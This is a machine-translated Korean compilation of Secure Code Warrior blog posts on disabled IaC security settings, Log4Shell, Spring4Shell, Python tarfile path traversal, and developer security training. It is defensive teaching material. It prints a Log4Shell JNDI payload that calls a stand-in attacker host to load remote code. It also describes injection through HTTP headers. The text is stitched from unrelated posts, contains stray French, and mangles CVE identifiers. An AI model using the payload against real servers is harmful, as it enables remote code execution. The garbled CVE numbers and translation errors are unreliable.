보안 코드 정보

오늘날 사이버 보안 위협은 어디에나 존재하며 끊임없이 발생합니다. 우리 삶의 더 많은 측면이 디지털화될수록 사이버 범죄자들에게 걸린 위험은 더욱 커집니다: 보호해야 할 코드가 너무 많고 개인 데이터의 가치가 너무 크기 때문입니다. 프로그램 배포 후 공격 표면의 모든 측면을 추적하고 방어하려는 시도는 거의 불가능해졌습니다.

일부 접근 방식은 이러한 증상 중 일부를 완화할 수 있으며, 그중 하나는 선견지명을 가진 조직이 인프라스트럭처로서의 코드(IaC) 개념을 채택할 때 명백해집니다. 물론 모든 개발과 마찬가지로 극복해야 할 보안 함정이 존재합니다. 개발자들이 애플리케이션을 호스팅하는 데 필수적인 인프라를 생성하는 코드를 다루기 때문에, 프로세스 전반에 걸쳐 보안에 대한 인식이 필수적입니다.

그렇다면 클라우드 서버 환경에서 초보 개발자는 어떻게 자신의 역량을 향상시키고, 노하우를 익히며, 보안에 대한 인식이 높아진 상태로 버전을 다룰 수 있을까요? 우리는 IaC의 일반적인 취약점을 해결하기 위해 'Coders Conquer Security' 시리즈를 기획했으며, 향후 블로그에서는 개발자로서 여러분이 소속 조직 내에서 코드 형태의 안전한 인프라를 구축하기 시작할 수 있는 방법에 집중할 예정입니다.

가자.

미국 서부 개척 시대에 유래한 우화가 하나 있다. 한 남자가 강도들이 자신의 재산을 습격하고 털어갈까 봐 지나치게 불안해했다는 이야기다. 이를 만회하기 위해 그는 매우 튼튼한 현관문 설치, 모든 창문 잠금, 그리고 손에 닿는 곳에 수많은 무기를 비치하는 등 온갖 보안 조치를 취했습니다. 그런데도 어느 날 밤 그가 잠든 사이 옆문을 잠그는 것을 잊은 탓에 결국 강도를 당하고 말았습니다. 강도들은 보안이 허술해진 틈을 재빨리 노린 것이었습니다.

인프라의 보안 기능을 비활성화하는 것은 이와 비슷합니다. 네트워크에 견고한 보안 인프라가 구축되어 있더라도 일부 요소가 비활성화되었다면 아무 소용이 없습니다.

본론에 들어가기 전에 여러분께 한 가지 도전장을 내밀어도 될까요?

위 링크를 클릭하시면 게임화된 교육 플랫폼으로 이동하게 되며, 지금 바로 비활성화된 보안 취약점을 중화시키는 시도를 해보실 수 있습니다. (주의: Kubernetes에서 열리지만, 드롭다운 메뉴를 사용하시면 Docker, CloudFormation, Terraform, Ansible 중에서 선택하실 수 있습니다).

어떻게 해결했어? 아직 할 일이 남아 있다면, 다음 내용을 읽어보세요:

보안 기능은 다양한 이유로 비활성화될 수 있습니다. 일부 애플리케이션 및 프레임워크에서는 기본적으로 비활성화되어 있으며, 작동시키려면 먼저 활성화해야 합니다. 또한 관리자가 특정 작업을 수행할 때 지속적으로 경고나 차단 없이 더 쉽게 처리할 수 있도록 특정 보안 기능을 비활성화했을 수도 있습니다(예: AWS S3 저장소를 공개로 설정). 작업이 완료된 후, 그들은 비활성화된 기능을 다시 활성화하는 것을 잊을 수 있습니다. 또한 향후 작업을 용이하게 하기 위해 해당 기능을 계속 비활성화 상태로 유지하는 것을 선호할 수도 있습니다.

비활성화된 보안 기능이 왜 그렇게 위험한가

하나 이상의 보안 기능을 비활성화하는 것은 여러 가지 이유로 바람직하지 않습니다. 첫째, 해당 보안 기능은 알려진 악용, 위협 또는 취약점으로부터 보호하기 위해 인프라 리소스에 통합되었습니다. 비활성화되면 리소스를 보호할 수 없게 됩니다.

공격자들은 항상 먼저 쉽게 악용할 수 있는 취약점을 찾으려 할 것이며, 심지어 일반적인 취약점을 수정하는 스크립트를 사용할 수도 있습니다. 이는 마치 도둑이 길가에 주차된 모든 차량의 문을 잠금 해제 상태인지 확인하는 것과 비슷합니다. 창문을 깨는 것보다 훨씬 쉬운 일이니까요. 해커들은 일반적인 보안 방어 체계가 작동하지 않는다는 사실을 발견하고 놀랄 수도 있습니다. 하지만 그런 상황이 발생하면 이를 악용하는 데 오래 걸리지 않을 것입니다.

둘째, 적절한 보안 조치를 구축한 후 이를 비활성화하는 것은 허위의 안전감을 조성합니다. 관리자들은 누군가가 이러한 방어 체계를 해제했다는 사실을 모른다면, 자신들이 일반적인 위협으로부터 보호받고 있다고 생각할 수 있습니다.

공격자가 비활성화된 보안 기능을 악용할 수 있는 방식의 예로, AWS S3의 공개 액세스 차단 보안 기능을 살펴보겠습니다. Amazon S3의 공개 액세스가 차단되면 계정 관리자 및 저장소 소유자는 Amazon S3 리소스에 대한 공개 액세스를 제한하기 위한 중앙 집중식 제어를 쉽게 구성할 수 있습니다. 그러나 일부 관리자는 S3 저장소 접근 시 문제가 발생하면 작업을 최대한 빨리 완료하기 위해 저장소를 공개적으로 설정하기로 결정합니다. 이 보안 기능을 활성화하는 것을 잊어버리면 공격자는 해당 S3 저장소에 저장된 정보에 대한 완전한 접근 권한을 얻게 되어 정보 유출뿐만 아니라 데이터 전송 비용으로 인한 추가 비용도 발생하게 됩니다.

실제 코드 비교; 다음 CloudFormation 발췌문을 살펴보세요:

취약한 :

기업 계정 :
유형 : AWS : :S3 : :Bucket
속성 :
공개 액세스 블록 구성 :
BlockPublicACLS : false
BlockPublicPolicy : false
IgnorepublicACLS : false
RestrictPublicBuckets : false
버전 관리 설정 :
상태 : 활성화됨
버킷 암호화 :
서버 측 암호화 설정 :
- 기본 서버 측 암호화 :
SSE 알고리즘 : "AES256"

안전한 :

기업 계정 :
유형 : AWS : :S3 : :Bucket
속성 :
공개 액세스 블록 구성 :
BlockPublicACLS : true
BlockPublicPolicy : true
Ignorepublicacls : true
RestrictPublicBuckets : true
버전 관리 설정 :
상태 : 활성화됨
버킷 암호화 :
서버 측 암호화 설정 :
- 기본 서버 측 암호화 :
SSE 알고리즘 : "AES256"

비활성화된 보안 기능 방지

비활성화된 보안 기능이 조직에 피해를 주는 것을 방지하는 것은 정책과 실행 모두에 관한 문제입니다. 보안 기능은 매우 특정된 상황에서만 비활성화되어야 한다는 강력한 정책이 마련되어야 합니다. 문제 해결이나 애플리케이션 업데이트를 위해 기능을 일시적으로 비활성화해야 하는 사건은 반드시 기록되어야 합니다. 필요한 작업이 완료된 후에는 기능이 완전히 재활성화되었는지 확인해야 합니다.

보안 기능을 운영 효율화를 위해 영구적으로 비활성화해야 하는 경우, 기본 보호 기능이 없는 상태에서 해커가 해당 데이터에 접근하는 것을 방지하기 위해 다른 보호 장치를 마련해야 합니다. 필수 보호 기능이 비활성화된 상태라면, 공격자가 이 잠금 해제된 문을 발견하고 이를 악용하는 것은 시간 문제일 뿐입니다.

더 알아보고, 도전해보세요:

보안 코드 워리어를 참조하십시오 Secure Code Warrior 블로그 페이지를 참조하여 이 취약점에 대해 자세히 알아보고, 다른 보안 결함과 취약점으로 인한 피해를 방지하여 조직과 고객을 보호하는 방법을 확인하세요.

이 글을 읽은 지금, 해당 취약점을 찾아 수정할 준비가 되셨나요? Secure Code Warrior 플랫폼에서IaC 기반 게임화 보안 챌린지를 시도해 보세요. 사이버 보안 역량을 Secure Code Warrior 최신 상태로 업데이트할 Secure Code Warrior .

이 주간 시리즈는 코드로서의 인프라와 관련된 8가지 주요 취약점을 다룹니다. 다음 주에 더 많은 내용을 확인하세요!

이전 블로그 글에서는 자바의 함정 연산자인 '비트 연산자 대 부울 연산자'에 대해 설명했습니다.

• 자바 함정 - 비트 연산자 또는 부울 연산자

우리는 Sensei 도전하라'라는 재미있는 퀴즈에 이 변형과 다른 자바 팁들을 추가했습니다.

• scw.typeform.com/to/RGW7Q7OE

위 블로그 글을 읽으셨다면, 적어도 한 가지 질문에는 답할 수 있을 것입니다.

하지만 친구들은 그렇지 않을 수도 있습니다. 퀴즈가 재미있다고 생각되면 친구들과 공유해 보세요. 그들도 여러분만큼 좋은 결과를 얻을 수 있을지 확인해 보세요.

단순히 여러분에게 질문하기를 원하지 않기 때문입니다. 우리는 이를 활용하여 지식을 교육하고 체계화하는 데 도움을 주고자 합니다. 따라서 문제와 해결책에 대한 실행 가능한 코드 예제가 담긴 GitHub 저장소를 만들었습니다.

• github.Sensei

이것은 활성화된 센세이 저장소입니다.

저장소를 복제하고 IntelliJ에 로드할 때, Secure Code Warrior Sensei IntelliJ 플러그인이 설치되어 있다고 가정하면, .sensei 폴더가 있음을 자동으로 인식하고 Sensei 레시피를 로드합니다.

IDE에서 코드를 탐색할 때 IntelliJ는 코드 내 오류가 존재함을 알려주어야 하며, 이는 코드 내 함정을 쉽게 발견하는 데 도움이 될 것입니다:

• 강조 표시된 코드 위에 마우스를 올리면 오류에 대한 안내 메시지가 표시됩니다.
• 컨텍스트 메뉴의 '작업 표시' 키를 사용하세요: Windows에서는 Alt+Enter, macOS에서는 Option+Enter를 누르시면 코드를 수정할 수 있는 QuickFix가 제공될 수 있습니다.

Sensei 레시피가 Sensei :

• 비트 연산자
• 분할된 IP 주소
• 주문 확정

앞으로 나머지 코드를 다루기 위해 더 많은 예제와 설명 텍스트를 추가할 예정입니다... 하지만 여러분이 직접 코드를 살펴보고 오류를 찾아내는 데는 전혀 지장이 없을 것입니다.

설문조사에 응답하는 것과'선생님에게 도전하라 Sensei를잊지 마세요

12월 9일, Java Log4j 라이브러리의 제로데이 취약점이 공개되었습니다. CVE-44228로 명명된 이 취약점은 '로그 쉘(Log Shell)'이라는 별칭을 가지며, 원격 코드 실행(RCE)을 유발할 수 있어 '심각도 높음' 등급을 받았습니다. 또한 log4j-core는 가장 널리 사용되는 자바 로깅 라이브러리 중 하나이므로 수백만 개의 애플리케이션이 위험에 노출되었습니다.

Log4Shell을 활용해 빠르게 실력을 향상시키고 싶으신가요?

우리는 Log4Shell의 기본 개념부터 '미션'이라는 시뮬레이터에서 이 취약점을 악용하는 방법까지 안내하는 데모를 제작했습니다. 이 미션을 진행하며 Log4j 취약점이 인프라와 애플리케이션에 미치는 영향을 설명해 드리겠습니다. 데모를 바로 보려면 여기를 클릭하거나, 이 취약점에 대해 자세히 알아보려면 계속 읽어보세요.

옛날 이야기?

이 취약점은 새로운 것이 아니다. 이미 2016년 블랙햇 컨퍼런스에서 보안 연구원 알바로 무뇨즈와 올렉산드르 미로시는 "애플리케이션은 신뢰할 수 없는 데이터로 JNDI 조회를 수행해서는 안 된다"고 강조했으며, 표적화된 JNDI/LDAP 주입이 원격 코드 실행으로 이어질 수 있음을 시연했다. 바로 이것이 Log4Shell의 핵심입니다.

공격 벡터

Log4Shell의 유틸 인젝션 코드는 다음과 같습니다:

$ {jndi:ldap : //attacker.host/xyz}

Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.

다음으로 JNDI( Java Directory and Directory Interface)가 있습니다. 이는 LDAP, DNS, RMI 등의 프로토콜을 사용하여 서비스에 연결하고 데이터나 리소스를 가져올 수 있게 해주는 API입니다. 간단히 말해, 위의 악성 페이로드 예시에서 JNDI는 공격자가 제어하는 LDAP 서버를 검색합니다. 예를 들어, 그 응답은 악성 코드가 포함된 자바 클래스 파일을 가리킬 수 있으며, 이는 취약한 서버에서 실행될 것입니다.

이 취약점이 특히 문제가 되는 이유는 Log4j가 모든 로그 입력을 평가하고 EL 구문으로 기록된 모든 사용자 입력에 대해 "jndi" 접두사로 검색을 수행하기 때문입니다. 사용자가 데이터를 입력할 수 있는 모든 위치(예: 양식 필드)에 페이로드가 주입될 수 있습니다. 또한 User Agent, X-Forwarded-For 등의 HTTP 헤더 및 기타 헤더를 페이로드를 전달하기 위해 조작할 수 있습니다.

직접 그 성과를 확인하려면 저희 쇼룸을 방문하시고 2단계인 '경험의 영향력'으로 넘어가세요.

예방 : 인식

모든 애플리케이션에 대해 업그레이드를 권장합니다. Log4j가 취약한 코드를 수정했기 때문입니다. 그러나 버전 2.15.0과 2.16.0에는 DDoS 및 기타 취약점이 포함되어 있어, 12월 말부터는 버전 2.17.0으로의 업그레이드를 권장합니다.

코드를 작성하는 개발자로서 우리는 항상 보안을 고려해야 합니다. Log4Shell은 프레임워크나 타사 라이브러리를 사용할 때 위험이 따를 수 있음을 가르쳐 주었습니다. 우리는 외부 소스를 사용함으로써 애플리케이션의 보안이 위협받을 수 있다는 점을 인지해야 합니다. 우리는 무심코 그 소스들이 안전하다고 가정하기 때문입니다.

이 취약점은 예방할 수 있었을까? 그렇기도 하고 아니기도 하다. 한편으로는 개발자들이 취약한 구성 요소가 타사 소프트웨어를 통해 도입되기 때문에 아무것도 할 수 없다. 다른 한편으로는 여기서 얻을 수 있는 교훈은 수없이 반복되어 온 교훈, 즉 사용자의 입력값을 절대 신뢰해서는 안 된다는 것이다.

Secure Code Warrior 보안에 민감한 개발자가 코드 내 취약점 발생을 방지하는 최선의 해결책이라고 Secure Code Warrior . SCW가 프로그래밍 프레임워크별 대규모 교육을 제공함에 따라 고객사들은 보고 데이터를 활용해 관련 자바 개발자를 신속히 파악할 수 있었습니다. 또한 SCW에서 양성한 보안 챔피언들을 통해 Log4j 업그레이드 속도를 높였습니다.

특히 자바 개발자를 위해 Secure Code Warrior 무료 IntelliJ 플러그인인 Sensei Secure Code Warrior . 이 규칙 기반 코드 분석 도구는 코딩 지침을 적용하고 취약점을 예방 및 수정하는 데 사용할 수 있습니다. 사용자 정의 규칙을 생성하거나 당사의 즉시 사용 가능한 레시피를 활용할 수 있습니다. 저희 레시피에 참여해 보시고, Log4Shell 취약점을 순식간에 찾아 수정하는 데 도움이 되는 Log4j 레시피북을 다운로드하는 것도 잊지 마세요.

Log4Shell에 대한 방어 역량을 강화하세요

이 블로그 글에서 배운 내용을 직접 적용해보고 싶으신가요? 저희 데모 환경이 도움이 될 수 있습니다. 프레젠테이션 시작 부분에서 해당 취약점에 대한 간략한 개요를 확인한 후, 안내된 지침에 따라 익스플로잇을 시도해볼 수 있는 시뮬레이션 환경으로 이동하게 됩니다.

‍

최근 자바 커뮤니티에서 가장 인기 있는 라이브러리 중 하나인 Spring 라이브러리가 원격 코드 실행(RCE)과 관련된 두 가지 취약점을 공개했습니다. 사용자가 해당 취약점에 노출되었는지 여부와 취해야 할 조치를 보다 쉽게 판단할 수 있도록, 'Spring4Shell'과 'Spring Cloud Function'에 대해 알려진 정보를 분류하여 정리했습니다.

취약점 1 - 「Spring4Shell」(CVE-42-22965)

2022년 3월 29일, 커뮤니티는 Spring Core(SC)를 대상으로 한 익스플로잇의 개념 증명 스크린샷을 포함한 일련의 트윗을 발견했습니다. 이 익스플로잇은 최신 버전인 5.3.17을 포함한 모든 버전의 Spring Core에서 원격 코드 실행을 가능하게 합니다.

어떤 애플리케이션이 위협받고 있나요?

현재 Tomcat에 호스팅된 애플리케이션만이 이 새로운 익스플로잇에 노출된 것으로 확인되었습니다. 비록 내장된 Tomcat 서블릿 컨테이너나 Tomcat에 의해 호스팅되지 않는 다른 애플리케이션에 대한 공격 성공 사례는 입증되지 않았지만, 이는 향후 해당 프레임워크에 대한 위협이 효과적일 가능성을 배제하지 않습니다.

Spring은 취약점에 대한 공식 성명서를 발표했으며, 현재 취약점에 대한 이해에 따르면 취약점이 존재하기 위해서는 다음 조건이 충족되어야 한다고 명시하고 있습니다:

• JDK 9 이상
• Apache Tomcat을 서블릿 컨테이너로 사용
• 전통적인 WAR 파일 형태로 패키징됨(Spring Boot 실행 가능 jar 파일과는 달리)
• spring-webmvc 또는 spring-webflux 의 종속성
• Spring Framework 버전 5.3.0부터 5.3.17, 5.2.0부터 5.2.19 및 이전 버전

"Spring4Shell" 공격은 어떻게 작동하나요?

이 기능은 메서드 시그니처에서 단순한 기존 Java 객체(POJO)를 사용하는 요청에서 '데이터 바인더'(org.springframework.web.bind.WebDataBinder)를 활용하는 것을 기반으로 합니다:

Foo 클래스는 POJO 클래스로, 다음과 같이 정의될 수 있습니다. 클래스 자체는 중요하지 않으며, 클래스 로더에 의해 로드되기만 하면 됩니다.

이러한 방식으로 요청이 처리될 때 클래스 로더가 클래스 해결에 사용됩니다. 클래스 로더는 실행 시점에 클래스를 로드하는 역할을 하며, 사전에 모든 가능한 타입을 메모리에 미리 로드할 필요가 없습니다. 새로운 클래스가 사용될 때 어떤 .jar 파일을 로드할지 결정합니다.

이 취약점에 대한 최신 및 상세한 정보는 Spring의 블로그 게시물에서 직접 확인하실 수 있으며, 여기에는 패치 또는 잠재적인 해결 방법도 포함되어 있습니다.

취약점 2: Spring Cloud 기능 (CVE-249 22963)

2022년 3월 27일, 사이버 켄드라(Cyber Kendra)는 패치가 존재하지 않는 Spring Cloud Functions의 원격 코드 실행(RCE) 취약점에 대한 정보를 공개했습니다. 이 취약점에는 CVE-04-22963: Spring Expression의 리소스 접근 취약점이라는 식별 번호가 부여되었습니다.

어떤 애플리케이션이 위협받고 있나요?

해당 취약점은 다음과 같은 조건에서 애플리케이션에 영향을 미쳤습니다:

• JDK 9 또는 그 이상 버전
• Spring Cloud Functions 버전 3.1.6(또는 그 이하), 3.2.2(또는 그 이하) 또는 지원되지 않는 모든 버전

운영은 어떻게 이루어지나요?

Spring Cloud Function은 개발자가 spring.cloud.function.routing-expression 속성을 통해 라우팅 처리 방식을 구성할 수 있게 합니다. 일반적으로 구성 파일이나 코드를 통해 설정됩니다. 이는 'Spring 표현식 언어'(SPEL)를 지원하는 강력한 기능입니다. 이 제로데이 취약점을 통해 해당 속성이 요청의 HTTP 헤더를 통해 설정될 수 있다는 사실이 확인되었습니다. 이는 공격자가 RoutingFunction 엔드포인트로 전송하는 HTTP 요청에 SPEL 코드를 직접 포함시켜 임의의 코드를 실행할 수 있음을 의미합니다.

사용자들은 위험을 완화하기 위해 어떤 조치를 취해야 합니까?

Le printemps은 이 문제를 해결하기 위해 HTTP 헤더를 통해 해당 속성 설정을 허용하지 않는 방식으로 취약점을 완화한 버전 3.1.7 및 3.2.3을 출시했습니다. 해당 버전 중 하나로 업그레이드한 후에는 추가 조치가 필요하지 않습니다.

개발자가 더 안전한 코드를 작성하도록 지원하는 방법에 대해 자세히 알고 싶으신가요? 데모를 예약하거나 코드 보안 코치에서 무료로 제공되는 안전한 코딩 가이드라인을 살펴보세요 .

‍

소스

• https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
• https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/

‍

최근 한 보안 연구팀이 파이썬의 tar 파일 추출 기능에서 15년 된 버그를 발견했다고 발표했습니다. 이 취약점은 2007년에 처음 공개되었으며 CVE-2007-4559로 추적되었습니다. 파이썬 공식 문서에는 관련 설명이 추가되었으나, 해당 버그 자체는 수정되지 않은 상태입니다.

이 취약점은 수천 개의 소프트웨어 프로젝트에 영향을 미칠 수 있지만, 많은 사람들이 상황을 인지하지 못하거나 대처 방법을 모르고 있습니다. 그래서 저희 Secure Code Warrior에서는 여러분이 직접 이 취약점의 악용을 시뮬레이션해 그 영향을 직접 확인하고, 이 지속적인 버그의 메커니즘에 대한 실전 경험을 쌓아 애플리케이션을 더 잘 보호할 수 있도록 기회를 제공합니다!

지금 바로 미션 시뮬레이션을 체험해 보세요.

취약점: tar 파일 추출 시 경로 탐색

경로 또는 디렉터리 트래버설은 검증되지 않은 사용자 입력을 사용하여 파일 경로를 생성할 때 발생합니다. 이를 통해 공격자는 파일에 접근하고 이를 대체할 수 있으며, 심지어 임의의 코드를 실행할 수도 있습니다.

이 취약점은 Python의 tar 모듈에서 발견됩니다. 타르 파일(테이프 아카이브)은 아카이브라고 불리는 단일 파일입니다. 여러 파일과 해당 메타데이터를 포함하며 일반적으로 .tar.gz 또는 .tgz 확장자로 인식됩니다. 아카이브의 각 구성원은 파일 이름, 수정 시간, 소유권 등과 같은 메타데이터를 포함하는 별표 객체로 표현될 수 있습니다.

위험은 기록물이 다시 추출될 수 있는 능력에서 비롯된다.

추출 시 각 구성원은 쓰기용 경로가 필요합니다. 이 위치는 기본 경로에 파일 이름을 연결하여 생성됩니다:

이 경로가 생성되면 tarfile.extract 또는 tarfile.extractall 함수에 전달되어 추출 작업을 수행합니다:

여기서 문제는 파일 이름에 대한 검증 부족입니다. 공격자는 파일 이름을 변경하여 경로 이동 문자(예: 점 슬래시 (../))를 포함시킬 수 있으며, 이로 인해 해당 파일이 원래 위치했던 디렉터리에서 벗어나 임의의 파일을 대체하게 됩니다. 이는 결국 원격 코드 실행으로 이어질 수 있으며, 이는 악용되기 쉬운 취약점입니다.

이 취약점은 다른 시나리오에서도 나타납니다. 식별 방법을 안다면 말이죠. Python의 tar 파일 처리 외에도, zip 파일 추출 시에도 이 취약점이 존재합니다. 아마도 'Zip Slip 취약점'이라는 다른 이름으로 알고 계실 수도 있습니다. 이 취약점은 Python 이외의 다른 언어에서도 발견된 바 있습니다!

미션 링크 

위험을 어떻게 완화할 수 있습니까?

비록 이 취약점이 수년 전부터 알려져 왔지만, 파이썬 개발자들은 추출 기능이 의도된 대로 작동한다고 간주합니다. 이 경우 일부는 "이는 버그가 아닌 기능이다"라고 말할 수 있습니다. 안타깝게도 개발자들은 알 수 없는 출처의 tar 또는 zip 파일을 추출하는 것을 항상 피할 수는 없습니다. 안전한 개발 관행의 일환으로 경로 트래버스 취약점을 방지하기 위해 신뢰할 수 없는 입력을 정리하는 것은 개발자의 몫입니다.

파이썬으로 안전한 코드를 작성하고 위험을 완화하는 방법에 대해 더 알고 싶으신가요?

무료 파이썬 챌린지를 체험해 보세요.

무료 코딩 가이드라인을 더 원하신다면, 안전한 코딩 관행을 최신 상태로 유지하는 데 도움을 주는 코드 보안 코치를 참조하세요.

‍

‍

미카 마르티네즈는 미국 교육 금융 서비스 기업 넬넷(Nelnet)의 사이버 보안 분석가이자 영화 제작자입니다. 넬넷은 학자금 대출 관리 및 상환, 교육 금융 서비스를 담당하는 대기업입니다. 그가 개발자들을 위한 안전한 코딩 교육 프로그램을 기획하게 되었을 때, 팀원들의 참여를 유도하기 위해 창의적인 방법을 채택했습니다. 그가 보안 코딩 교육 프로그램을 운영하는 방식에 깊은 인상을 받아, 우리는 그와 인터뷰를 진행하며 자세한 내용을 알아보았습니다.

결국?

안전 문화를 조성하고 개발 팀 내 내부 안전 챔피언들이 '선한 힘'이 되도록 장려하십시오.

« 안전한 코드에 집중함으로써 우리는 기업을 강화하고 더 안전하게 만드는 데 기여했습니다. »

Nelnet에서 Micha와 그의 보안 팀은 처음부터 안전한 코드를 작성하는 것의 중요성을 이해했습니다. 그들은 이를 매력적이고 관련성 있으며 보람 있는 방식으로 달성하고자 했습니다. 그는 보안 코딩에 대한 깊은 관심과 역량을 가진 개발자를 발굴하고 그들을 보안 챔피언으로 육성함으로써, 이 챔피언들이 조직 전체의 보안 교육에 대한 사고방식 변화를 주도하는 촉매제가 된다는 사실을 발견했습니다. 이들은 동료들 중 추가적인 도움이 필요한 이들을 동료 간 지원(peer-to-peer) 방식으로 지도하며, 조직 내에서 안전한 코딩 관행의 변화를 주도하는 리더로 성장합니다.

미카는 자신과 팀이 어떻게 안전 예방에 대한 사고방식과 문화를 발전시켜 그들의 기업이 "더 강하고 더 안전해질" 수 있었는지 설명합니다.

모든 것은 자랑할 권리의 문제... 그리고 취약점 감소의 문제다

미카는 다른 보안 교육 프로그램과는 다르게 운영합니다. 그는 경쟁과 영화 제작자로서의 재능을 활용해 대회를 매우 매력적이고 성공적으로 만듭니다. 개발자들은 매우 실용적인 지식을 습득하여 더 견고한 보안 코드를 작성할 수 있게 됩니다.

기업은 또한 제품의 안전성이 향상되고 소프트웨어 취약점에 대한 보호 수준이 높아짐으로써 이익을 얻습니다. 소프트웨어 보안 학습은 단순히 체크박스를 표시하는 전통적이고 지루한 학습 경험일 필요는 없습니다. 개발자들은 일상 업무에 부합하면서도 몰입감 있고 흥미로운 교육 경험을 원합니다.

미카가 코딩 보안 훈련을 어떻게 재미있게 만드는지 보세요. 특히 레슬매니아 스타일의 실제 챔피언 벨트를 상으로 걸고 대회를 여는 방식입니다. 건강한 경쟁심만으로도 그의 팀에게 보안이 최우선 과제가 됩니다.

자랑할 권리가 있는 걸 누가 싫어하겠는가?

‍

안전한 코딩 중심의 문화를 채택하십시오... 도구만으로는 충분하지 않습니다

미카는 Secure Code Warrior 추천하는 이유에 대한 마지막 생각을 남겼습니다. 이 플랫폼은 예방 중심의 문화와 능동적인 학습 환경을 조성하는 데 기여했습니다. 교육 프로그램을 설계하고 훈련을 통해 성과를 내는 개발자들에게 투자하는 데는 시간이 필요했습니다. 안전한 코딩을 위한 예방적 접근 방식을 채택하도록 각 개발자의 역량을 발전시키려면 혁신적인 문화가 필수적입니다.

미카가 보안 코딩 문화 채택이 Secure Code Warrior 함께 왜 중요한 차이를 만드는지에 대한 추가 정보를 제공합니다.

Secure Code Warrior 개발자를 위한 몰입적이고 매력적인 보안 코딩 학습 플랫폼을 Secure Code Warrior . 데모에 관심이 있으신가요? 아래에서 예약하세요.

우리는 대조 보안에서래리 맥쉐론과 함께 앉아, 현대화 응용 프로그램 보안의 선두 주자, 소프트웨어에 직접 코드 분석 및 공격 예방을 포함. 우리는 컨텍스트 학습이 어떻게 성공적으로 안전한 코딩 개발자를 교육하는 지 논의했습니다.

오늘날의 개발자들은 미래의 사이버 보안 침해를 막는 임무를 점점 더 하고 있습니다. 코드 취약점에 대한 교육을 사용할 수 있지만 개발자의 일상 업무와 관련이 없는 매력적인 형식으로 제공되는 경우가 많습니다. 개발자는 고객의 요구를 충족하기 위해 코드를 신속하게 작성하여 교육과 같은 비즈니스 목표를 밀어내야 합니다. 그리고 그 훈련이 문맥밖과 긴 프리젠 테이션 이나 학습 매뉴얼의 형태로 제공 될 때, 그것은 더 어려워진다, 그것은 여분의 노력의 혜택을 볼 어렵게 만들기. 

조직은 일상적인 책임을 방해하지 않고 개발자에게 주요 보안 교육을 제공하거나 선호하는 도구 및 워크플로우에서 벗어나도록 어떻게 할 수 있습니까? 

대답은 간단합니다. 상황에 맞는 학습을 사용하고 개발자의 손끝에 교육권을 제공함으로써. Larry는 다음 비디오에서 개발자에게 왜 이것이 그렇게 강력한지 설명합니다.

개발자가 코드 문제를 검토하는 동시에 교육 기회를 통합하면 식별된 문제 또는 취약성과 가장 관련성이 높은 정보를 즉시 받을 수 있습니다. 또한 교육이 더 작고 이해하기 쉬운 분량으로 제공되기 때문에 개발자가 정보를 기억하고 향후 취약한 코드 사용을 방지할 가능성이 높아집니다. 래리의 말처럼 "피드백은 학습의 핵심"입니다.

결론은 개발자가 더 적은 시간에 더 많은 작업을 수행해야 하며 안전하고 고품질의 코드를 제공해야 한다는 것입니다. 코드 취약성에 따라 컨텍스트화되고 특정한 교육을 통해 개발자의 워크플로우와 환경을 최적화하고 유지율을 높입니다. 래리의 40시간의 훈련을 어떻게 구할 수 있는지 들어보세요!

Secure Code Warrior 개발 및 보안 팀에 상황에 맞는 관련성 높은 학습을 제공하는 기술 통합을 제공합니다.

데모에 관심이 있으십니까? 아래에서 예약하세요. 

‍

소프트웨어 개발 수명 주기(SDLC)는 충분히 무해한 것처럼 보입니다. 그것은 과정이며, 우리 소프트웨어 사람들은 모두 마법이 일어날 수 있도록 함께 와서 모든 디지털 선인들이 없이는 살 수 없는 모든 디지털 행운을 제공합니다.

제외한... 소프트웨어 개발 프로젝트의 일원이 셨다면, 정복하기 위한 퀘스트가 많고 드래곤들이 처치할 수 있는 건틀릿이라는 것을 알 수 있습니다. 그것은 잠시 동안 재미, 하지만 소진진짜, 그리고 소프트웨어에 대 한 수요우리 모두가 시간의 최고에 빛의 속도로 작업, 특히 개발 팀.

이제 그들이 또 다른 해야 할 일을 던져 버린다고 상상해보십시오... 그들이 만지는 프로젝트 요소의 보안에 대한 책임. 이것은 최악의 경우 일부 개인에게 카드 집이 무너질 수 있지만 더 현실적인 시나리오는 단순히 우선 순위가 아니며 라인을 넘기 위해 더 시급한 것으로 간주되는 문제가 우선한다는 것입니다. 그리고 대부분의 개발자가 안전하게 코딩하도록 훈련받지 않은 경우 (특히 관리자가 보안의 우선 순위를 지정하지 않는 경우), 버그 코드의 눈사태로 인해 중단점에 도달하는 보안 전문가 들 사이에서 빈번한 데이터 유출, 결함이있는 앱 릴리스 및 심각한 이탈을 볼 수 있습니다.

개발자는 AppSec 옹호자가 필요합니다.

위의 시나리오를 사용할 때 코딩 프로세스 중에 보안이 "너무 단단한" 바구니에 넣고 보안 팀에 남아 있는 이유를 이해할 수 있습니다. 너무 많은 경쟁 기한, 충분 하지 않은 훈련, 그리고 다른 모든 일이 보안에 대 한 관심 진짜 이유. 그러나 이 현상 유지에 대한 코드에 대한 요구가 너무 많습니다. 그리고 슈퍼 엘리트 개발자가 동료와 차별화하고 새로운 기술을 배우고 가장 중요한 것은 더 안전한 코드를 구축 할 수있는 곳입니다.

그러나 소프트웨어 보안을 관리하는 것이 개발자의 어깨에 있는 것은 아니라는 것을 기억하는 것이 중요합니다 - 그것은 여전히 AppSec 팀의 도메인입니다 (보안 인식 개발자와 함께 작업 할 때 반복에 일반적인 버그를 수정하는 대신 더 많은 호흡 공간을 갖게됩니다). 작동하는 DevSecOps 프로세스는 팀의 모든 구성원이 보안에 대한 책임을 공유하는 데 필요한 지원과 도구를 갖도록 요구하며 올바른 종류의 교육이 가장 중요합니다. 적절한 도구 와 교육 제품군의 균형을 맞추려면 개발자와 긴밀히 협력하여 영감을 주고 긍정적인 변화를 이끌어내고자 하는 AppSec 전문가의 통찰력이 필요합니다.

파괴적인 교육은 효과적인 것보다 더 짜증나며 개발자에게 기피하는 것은 작동하지 않을 것입니다. 한입 크기의 지식에 초점을 맞춘 IDE 또는 발급 추적기 통합 솔루션은 하나의 대안이며, 필요한 순간에 올바른 정보를 제공합니다.

작동 방식은 다음과 같습니다.

"만일의 경우"가 아니라 적시에.

